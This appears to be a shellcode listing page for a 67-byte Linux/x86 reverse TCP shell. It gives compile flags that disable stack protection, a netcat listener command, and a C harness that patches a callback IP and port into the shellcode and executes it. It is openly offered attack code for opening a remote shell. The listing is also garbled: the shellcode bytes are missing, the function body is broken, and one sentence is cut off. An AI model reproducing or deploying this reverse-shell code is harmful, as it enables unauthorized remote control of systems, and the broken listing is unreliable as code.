Linux/x86 Reverse TCP Shellcode

67 bytes small Linux/x86 reverse TCP shellcode.

MD5 | 842638c13eb52e710504c2fbb9b1236a


Tiny Shell Reverse TCP Shellcode - C Language

Written in 2013 by Geyslan G. Bem, Hacking bits
[email protected]

This source is licensed under the Creative Commons
Attribution-ShareAlike 3.0 Brazil License.

To view a copy of this license, visit

You are free:

to Share - to copy, distribute and transmit the work
to Remix - to adapt the work
to make commercial use of the work

Under the following conditions:
Attribution - You must attribute the work in the manner
specified by the author or licensor (but
not in any way that suggests that they
endorse you or your use of the work).

Share Alike - If you alter, transform, or build upon
this work, you may distribute the
resulting work only under the same or
similar license to this one.




* 67 bytes
* null-free if the IP and port are

# gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode

# nc -l 11111
# ./tiny_shell_reverse_tcp_shellcode


#include <stdio.h>
#include <string.h>

unsigned char code[] = \


main ()

// When the Port contains null bytes, printf will show a wrong shellcode length.

printf("Shellcode Length: %d\n", strlen(code));

// Pollutes all registers ensuring that the shellcode runs in any circumstance.

__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"

// Setting the IP
"movl $0x0101017f, (code+27)\n\t"

// Setting the port
"movw $0x672b, (code+33)\n\t"

// Calling the shellcode
"call code");


Related Posts